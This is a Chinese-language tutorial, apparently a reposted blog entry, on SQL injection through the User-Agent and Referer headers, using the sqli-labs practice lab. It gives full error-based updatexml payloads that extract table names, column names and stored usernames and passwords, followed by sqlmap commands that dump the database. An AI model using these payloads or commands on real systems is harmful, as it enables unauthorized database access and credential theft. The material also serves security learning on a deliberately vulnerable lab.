HTTP头中的SQL注入

HTTP头中的SQL注入

1.HTTP头中的注入介绍

在安全意识越来越重视的情况下,很多网站都在防止漏洞的发生。例如SQL注入中,用户提交的参数都会被代码中的某些措施进行过滤。

过滤掉用户直接提交的参数,但是对于HTTP头中提交的内容很有可能就没有进行过滤。
例如HTTP头中的User-AgentRefererCookies等。

2.HTTP User-Agent注入

就拿Sqli-Lab-Less18
这里的User-Agent是可控的,因此存在HTTP User-Agent注入

INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)

在这里插入图片描述
Payload内容:

updatexml(xml_document,xpath_string,new_value):

第一个参数:XML文档对象名称。
第二个参数:XPath字符串。
第三个参数:替换查找到的符合条件的数据。

1.查看版本

' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) or '1'='1

在这里插入图片描述
2.查看数据库

' and updatexml(1,concat(0x7e,(select database()),0x7e),1) or '1'='1

在这里插入图片描述

3.得到数据库security,获取数据表

' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) or '1'='1

在这里插入图片描述
4.得到数据表emails,referers,uagents,users,我们使用的是users表,获取字段名

' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security'and table_name='users'),0x7e),1) or '1'='1

在这里插入图片描述
5.获取字段内容
当我们使用下面的语句时,会报错Subquery returns more than 1 row

' and updatexml(1,concat(0x7e,(select concat(username,0x7e,password) from users),0x7e),1) or '1'='1

在这里插入图片描述
返回的数据有多行,我们可以使用limit限制其只返回一条数据

' and updatexml(1,concat(0x7e,(select concat(username,0x7e,password) from users limit 0,1),0x7e),1) or '1'='1

在这里插入图片描述

3.HTTP Referer注入

Sqli-Lab19为例

' or '1'='1

在这里插入图片描述

1.查看版本

' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) or '1'='1

在这里插入图片描述
2.查看数据库

' and updatexml(1,concat(0x7e,(select database()),0x7e),1) or '1'='1

在这里插入图片描述
3.得到数据库security,获取数据表

' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) or '1'='1

在这里插入图片描述
4.得到数据表emails,referers,uagents,users,我们使用的是users表,获取字段名

' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security'and table_name='users'),0x7e),1) or '1'='1

在这里插入图片描述
5.获取字段内容
当我们使用下面的语句时,会报错Subquery returns more than 1 row

' and updatexml(1,concat(0x7e,(select concat(username,0x7e,password) from users),0x7e),1) or '1'='1

在这里插入图片描述
返回的数据有多行,我们可以使用limit限制其只返回一条数据

' and updatexml(1,concat(0x7e,(select concat(username,0x7e,password) from users limit 0,1),0x7e),1) or '1'='1

在这里插入图片描述

4.sqlmap安全测试

抓取数据包,将抓取的全部内容,放到文本文档中,并且在有可能存在注入点的地方加入星号(*)
在这里插入图片描述1.爆破数据库

python2 sqlmap.py -r 1.txt --dbs

在这里插入图片描述
得到数据库信息
在这里插入图片描述

2.爆破数据表

python2 sqlmap.py -r 1.txt -D security --tables

在这里插入图片描述
得到数据表的信息

3.爆破字段及内容

python2 sqlmap.py -r 1.txt -D security -T users --dump

在这里插入图片描述
得到数据内容
在这里插入图片描述

PS

1.HTTP User-Agent注入HTTP Referer注入属于放包攻击,我们在放包的过程中,必须使用正确的用户名和密码;
2.如果探测出是HTTP头注入,在使用sqlmap跑的过程中,在末尾加上星号(*),可以提高渗透测试的效率

本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
THE END
分享
二维码
< <上一篇

)">
下一篇>>